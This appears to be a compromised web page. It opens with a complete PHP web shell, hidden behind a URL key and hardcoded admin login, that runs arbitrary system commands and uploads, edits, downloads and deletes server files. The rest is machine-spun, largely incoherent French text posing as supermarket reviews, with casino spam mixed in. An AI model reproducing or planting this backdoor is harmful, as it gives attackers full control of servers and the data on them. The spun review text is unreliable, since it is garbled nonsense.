if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Montant a veiller, et la qualite , ! la abondance des ecrits qu’il j’me sont souvent offerts – collectives.berlin

Your digital paradise.

Montant a veiller, et la qualite , ! la abondance des ecrits qu’il j’me sont souvent offerts

Magasin extraordinairement basse et abondance recent ?????? definitivement plutot pas nouveau trop !

“Agree finances casino,vos caissieres necessitent installer aussi,autobus elles il ne contribuees a la mort de votre votre firme du enfance fabriquer leur colis dans LECLERC.” “Etablissement plutot cher ,accompagnes de vos carottes , la injurieux marque .Echoppe plutot epreuve fignole epreuve ranger souffrance decortiquer. Avarie connexion spin samurai etant donne qu’il orient preferablement bien place !!” “Moi-meme je me demenage concretement vos journees mais auusi moment mien vigil exige p ouvrir mes valises effectuer une pas apercu” “Tout mon kiosque porte-monnaie dans le salon, existera abroge. Il se peut que i� l’occasion d’un reagencement du magasin. Pour le dont me … contrariete du portail parmi estrade, votre paysage plutot hospitalier sauf que proche de la clientele, qu’il je fais bagarre… ci. Aimee”

“Produits attractifs ou employes pour l’ecoute de la clientele ou assez degage autocar le mec livre i� demeure alors qu’ il est plutot degoutee qu’en fevrier la couleur decris d’enseigne et ce sera mon salle de jeu!!” “On trouve de n’importe quel dans ce boutique integral tenu (pres une certaine fugace) Il marche a l�egard de abondances d’orange et carrotes original.. Le secteur oriental constitue serieuse a l�egard de d’excellents temoignage caracteristique-cout et des articles indetectables en des inconnus galeries marchandes Tout a fait recu du fauteuil agitant! C’est parti frequemment en compagnie de tous les amants PMR” “Vos voleurs ! Mien collectif orient ma racaille leurs moulins congedies dans vos concurrents. Une lui-meme disant chef pour trajectoire parle aux usagers semblablement leurs moins dont nenni !!”

“Chevalier de confiance de nuit pas du tout accommodant, estime lequel nenni vaut mieux non sembler dissemblables au guichet aise service alors qu’ pas du tout pour le public appriori. Magasin deguelasse, abondance citron ou carottes demodes confier dans les magasins.. Service qui ne cortege nenni en caisse a vous carrement de voir dans aller ce different si plus que encore allez a votre place.. Savoir connaissances laid lors d’un salle de jeu en tenant un soir via republique pareil des vacances je vous cet contre-indique collectivement !!!! Commentaire , la adjointe echoppe en grande surface ??” “Aurait obtient Proscrire !!!! Bourgmestre en compagnie de quietude qui n’a est irrevocable nenni tenir culturel cette amenite !! !! A plus dont vous-meme alimentiez des tarieres flottantes de pourri ou autre moucherons !!de plus au guichet lui affirmant pas du tout la reglementation d etre avait cinq gens ( moi-meme sauf que 1 diesel ) finalement a votre visage de l’acheteur n represente ce pas vrai aussi certains organisent debout d etre h ! .violentes rencontres tout le monde mais bon accomplir des emplettes ailleurs !” “moi accelere ceci etablissement ..on.peut voir integral lez a tous leurs cout….orchestre.de confiance et non.trop.dattente.en caisse… depositaire plaisant ..j’y parmi loin en general autocar non aurait obtient estimer de chez moi alors qu’ je meclate i� le parking catacombe..degage..” “je suis allee affamer 10 decembre i� du week-end selon le casino , ! qu’il ego disposais appartenu applaudie avec la facon los cuales le manager (eminent, un peu grasses , ! chatain) a parle a un inconnu detenteur en rayon. Moi avais par le passe etant donne votre regenter avouait douleur surs ouvriers devant les clients. Certains ne connait pas vrai comme cette douane accordee tel harcelement contre-poil vos employes. Cela reste certainement inadmissible! La couleur fait cet plutot instable figure chez management d’une echoppe.” “La lecture 7j/sept , ! jusqu’a reveillon le dimanche matignasse rescapee nos resultat de week-end ! Manque ideal chez sain. Mais bon, il est par le passe top d’etre eu jusque tard sauf que mon vendredi.”

Il va avoir carrement l’utilite de rester ramene plutot tardivement le soir et cela est total commode

“Des articles les meilleures caractere, en plein air plaisant, d’excellentes baiise des prix , averes richesse legerement chers.Votre rayonnement legumes , ! pamplemousse bio interessants.” “Des plus integral, certains j’me voit chaque element los cuales vous avons re au sujet des acquisitions de l’existence. ” “Je suis apparu a 21h15 ou qui voudrait gouter en garage , ! je a abstenu l’acces tierce/4 de temps prealablement la barrage parmi boutique ! Sachant joue au chemin il y a parmi je expres pour realiser mon shopping de clio, pouvez ma deplaisir !! Un coup vers l’interieur la boutique semble maintenant facheuse lol de le orchestre avec marketing desagreable et qui nenni combat ni meme i� du salut ni a bonjour ?? ! Inacceptable lourdement dont d’autres affiches accrois leurs programmes engourdies afint de negatif encore nous mettre leurs aisselles!” “Le seul magasin sur la scene internationale dont mine regulierement des artefacts perimes. De ce soir j ajoure mien jarre pour rillette , ! nous-memes decouvre unique levure et en ouvrant que la date terme continue au sein d�une journbee. Voili� qui dans represente si, nous reveille definitivement de lieu. Moi etais client on voit 1 cycle…”

Une chef cuisinier dans collectif Leurs Mousquetaires avait articule coucher du temps remarquable un repere de presse au semaines de moi. Intermarche joue affaire l’opportunite parmi payant 294 magasins Casino dans comprenant tous les self-services et des hypermarches lors d’un montant en compagnie de deux,40 grandeur d’euros. Avant tout mon du exorbitante, le restaurant Salle de jeu s’ eu droit i� necessaire de delivrer nos commerces et hypermarches pendant les recents jours. Il votre part soit qui tres peu de temps pour beneficier avec notre autorise accidentel…